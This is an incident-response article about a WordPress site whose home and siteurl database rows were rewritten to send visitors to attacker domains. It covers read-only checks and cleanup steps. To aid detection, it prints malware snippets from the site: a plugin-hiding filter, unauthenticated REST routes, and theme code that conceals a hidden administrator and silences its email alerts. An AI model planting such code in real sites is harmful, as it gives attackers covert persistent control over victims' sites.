The ticket was short: "Every time a visitor clicks a menu item, they end up on another website." The owner had already done the sensible thing and restored the WordPress core files from a clean copy. The redirect was still there the next minute.
That detail is the whole story. If replacing every core file changes nothing, the redirect is not living in a file. In this case it was living in two rows of the database: home and siteurl in wp_options. Both had been rewritten to point at attacker infrastructure. This article walks through why that works so well, how to confirm it in under a minute with read-only commands, and what else was sitting on the same site.
🧭 The symptom: a clean site whose links all leave
The homepage loaded normally. The theme, the images and the text were all correct. But every navigation link, the feed links, the canonical tag and even the login page pointed somewhere else:
<a href="https://reward-gate.example/r7kq2xw9pd?key=5e91c0b7/contact/">Contact</a>
<link rel="alternate" type="application/rss+xml" href="https://reward-gate.example/r7kq2xw9pd?key=5e91c0b7/feed/">
<link rel="EditURI" href="https://cdn-verify.example/vb3nq8ma?key=d2f4a610/xmlrpc.php?rsd">
(The domains and tokens above are lab values. The real ones followed the same shape: a random path segment and a ?key= token.)
Notice how the original page path is glued onto the end of the key parameter. WordPress builds every internal URL as home + path. Because the attacker's "home" ends in ?key=…, the real path (/contact/) becomes part of the query string. The attacker's gate receives the token and the page the visitor wanted, which is useful for routing traffic and for tracking which hijacked site sent it.
🧱 Why restoring files cannot fix it
WordPress has two URL settings, both stored in the database:
home: the public address of the site.home_url()uses it for permalinks, menus, feeds, canonical tags and redirects.siteurl: where WordPress itself lives.site_url()andadmin_url()use it forwp-login.php,wp-admin/,xmlrpc.phpand many core script URLs.
Neither value is in a PHP file unless someone defines WP_HOME / WP_SITEURL in wp-config.php. So:
- A core reinstall or checksum verification comes back clean, because the core files are clean.
- A file scan for the attacker domain finds nothing.
- Changing
siteurlalso sends the login page away, so the owner often cannot reach the dashboard to look at Settings → General. - Caching layers (page cache, CDN, Redis/Memcached object cache) keep serving the bad links even after the row is fixed, which makes the redirect look "recurring".
It is a two-row change with site-wide effect and almost no file footprint. That is exactly why it is worth checking early.
🎬 Watch it: hijack, check, fix (isolated lab)
The recording below is from an isolated lab: a stock WordPress install with no internet access and lab-only hostnames. Scene one shows the menu links leaving the site, scene two shows that no PHP file contains the attacker domains, and scene three reads the two rows and puts them back.
🔎 Read-only checks (run these first)
Everything in this section only reads. Use the database credentials from wp-config.php and adjust the table prefix (wp_ below) to the one in $table_prefix.
1. The two rows themselves.
SELECT option_id, option_name, option_value
FROM wp_options
WHERE option_name IN ('home', 'siteurl');
Both values should be your own domain, with no path segment you did not create and no query string. A ?key=, ?token= or random-looking path is a red flag.
2. Overrides in wp-config.php. If these constants exist they win over the database, so they can either hide or cause the problem.
grep -nE "WP_HOME|WP_SITEURL|RELOCATE" /path/to/site/wp-config.php
3. Multisite. On a network install the per-site values live in each site's options table, and the network address lives elsewhere:
SELECT blog_id, domain, path FROM wp_blogs;
SELECT meta_key, meta_value FROM wp_sitemeta WHERE meta_key = 'siteurl';
-- then repeat check 1 against wp_2_options, wp_3_options, ...
4. Other options that hold a bare external URL. Attackers who change home often leave other URL-shaped settings behind. This lists every option whose whole value is a single URL that is not yours:
SELECT option_id, option_name, LEFT(option_value, 120) AS value
FROM wp_options
WHERE option_value REGEXP '^https?://[^ ]+$'
AND option_value NOT LIKE '%your-domain.tld%'
ORDER BY option_id DESC;
Expect a few legitimate hits (ping services, API endpoints). Anything with a random path or a token deserves a second look.
5. What the origin really serves. If the site is behind a CDN, ask the origin directly so a cached page does not fool you:
curl -sk -H "Host: your-domain.tld" https://127.0.0.1/ \
| grep -oE 'href="https?://[^"]+"' | sort | uniq -c | sort -rn | head -20
If the top entries are not your own domain, the redirect is in the generated HTML, not just in a cached copy.
6. WP-CLI, carefully. On a site you suspect is infected, do not let WP-CLI load plugins or the theme. They run on every WP-CLI call, malware included.
wp --skip-plugins --skip-themes option get home
wp --skip-plugins --skip-themes option get siteurl
🧩 What else was on the same site
The hijacked URLs were only the visible part. A full review of the site turned up several more pieces. Some of them are covered in depth in other articles, so here is the short version of each.
A "products" plugin that hid itself
A plugin folder with a short random name carried a doorway-page system. It removed itself from the admin plugin list, so the dashboard showed nothing unusual:
add_filter('all_plugins', function ($plugins) {
if (isset($plugins[plugin_basename(__FILE__)])) {
unset($plugins[plugin_basename(__FILE__)]);
}
return $plugins;
});
Hiding from the list does not stop it from loading. It was still listed in the active_plugins option, which is how you catch this pattern: compare that option against the folders on disk and against what the dashboard shows.
SELECT option_value FROM wp_options WHERE option_name = 'active_plugins';
The plugin registered REST API routes that anyone could call, with no login:
register_rest_route('sp/v1', '/create-product', [
'methods' => 'POST',
'callback' => /* creates a doorway post */,
'permission_callback' => '__return_true', // no authentication
]);
// also: sp/v1/delete-product, custom/v1/set-link, custom/v1/set-verify
With these routes, the operators could publish or delete doorway pages and change the outbound "reward" link remotely, without logging in and without touching a file. The site held over 2,000 posts in the plugin's custom post type, plus several hundred gambling spam posts in the normal blog.
Two more behaviours stood out:
- Telegram beacon. On first run, and on every click of its popup, the plugin sent a message to a hard-coded Telegram bot. It used options such as
sp_tele_sentto remember that the "installed" message had already gone out. - Fake prize popup. A
wp_footerhook printed a popup telling visitors they had won "99 USDT". Clicking it fetched the current link (stored in thedynamic_reward_linkoption) and sent the visitor there.
An administrator the dashboard could not see
The active theme's functions.php had a block appended after its last legitimate function. It hid one administrator account from the Users screen, from the posts list, from the REST /users endpoint, from the sitemap and from author pages. It also suppressed the e-mails WordPress sends when that account's password or address changes:
add_action('pre_user_query', function ($query) {
if (is_admin()) {
global $wpdb;
$query->query_where .= " AND {$wpdb->users}.user_login != 'wordpressauto'";
}
});
add_filter('send_password_change_email', function ($send, $user) {
return $user->user_login === 'wordpressauto' ? false : $send;
}, 10, 2);
A query that reads the database directly does not go through these filters, so it shows every administrator:
SELECT u.ID, u.user_login, u.user_registered
FROM wp_users u
JOIN wp_usermeta m ON m.user_id = u.ID
WHERE m.meta_key = 'wp_capabilities'
AND m.meta_value LIKE '%administrator%';
Compare the result with the Users screen. Any login that appears here but not there is being hidden.
A file manager in an unusual folder
A standalone file-manager script sat in wp-admin/user/, next to empty PHP files with core-looking names. More empty PHP files with one- and two-letter names sat in the web root. wp-admin/user/ is a real core folder, which makes an extra file there easy to overlook. A core checksum check flags it, and so does a simple comparison of the folder against a fresh copy of the same WordPress version.
wp --skip-plugins --skip-themes core verify-checksums
# "File should not exist: wp-admin/user/<name>.php" is what you are looking for
🧹 Cleanup order that does not lose anything
- Back up first. Take a full database dump and a copy of the site files before you change anything. Then dump the specific rows you are about to change (
home,siteurl,active_plugins, the spam posts) so you have evidence of their old values. - Restore the two URLs. Use WP-CLI without plugins and themes, or a direct SQL update:
wp --skip-plugins --skip-themes option update home 'https://your-domain.tld' wp --skip-plugins --skip-themes option update siteurl 'https://your-domain.tld' - Remove what puts things back. Delete the hidden plugin folder and its entry in
active_plugins, delete its options, remove the appended block fromfunctions.php(check it withphp -lafterwards), and delete the stray files in core folders. - Remove the content. Delete the doorway post type and the spam posts together with their revisions, metadata, comments and attached images.
- Clear every cache layer. Object cache (Redis/Memcached), page cache, any reverse proxy, then the CDN. A stale
alloptionsentry in an object cache can keep serving the oldhomevalue after the database is fixed. - Verify from the origin. Re-run the
curlcheck from section 5, open a few inner pages and the login page, and confirm that spam URLs return 404.
The hidden administrator account is the site owner's decision. Review it, and if it is not yours, remove it and its application passwords from a trusted admin session. As general practice, after any compromise I also rotate admin passwords and keep plugins, themes and core up to date.
🧪 Indicators and quick checklist
home/siteurlpointing to a foreign domain with a random path and a?key=token- Internal links rendered as
…?key=<token>/<original-path>/ - Plugin present in
active_pluginsbut missing from the Plugins screen (all_pluginsfilter) - REST routes
sp/v1/create-product,sp/v1/delete-product,custom/v1/set-link,custom/v1/set-verifywithpermission_callback => '__return_true' - Options
sp_tele_sent,tele_sent_<username>,dynamic_reward_link,google_verify_code - Custom post type
sp_productwith thousands of doorway posts - Calls to
api.telegram.org/bot…/sendMessagefrom plugin code - A
wp_footerpopup announcing a "99 USDT" prize - Theme
functions.phpblock usingpre_user_queryto hide the loginwordpressauto - Extra PHP files inside
wp-admin/user/
❓ FAQ
Why did reinstalling WordPress core not stop the redirect?
Because the redirect was not in a file. WordPress reads its own address from the home and siteurl rows in the database and builds every link from them. Reinstalling core replaces files and leaves those rows alone.
Can I fix it from wp-config.php instead?
Defining WP_HOME and WP_SITEURL in wp-config.php overrides the database and gets you back into the dashboard quickly. Treat it as a temporary bypass: fix the rows themselves, remove whatever changed them, and then decide whether to keep the constants.
The database is fixed but visitors still get redirected. Why?
Usually a cache. Flush the object cache first (it can hold the old options), then the page cache, then the CDN. Test against the origin with a Host header to separate a cached page from a live problem.
How do I find a plugin that does not appear in the Plugins list?
Read the active_plugins option directly from the database and list the folders in wp-content/plugins/. Anything that is active or present on disk but missing from the dashboard is hiding itself.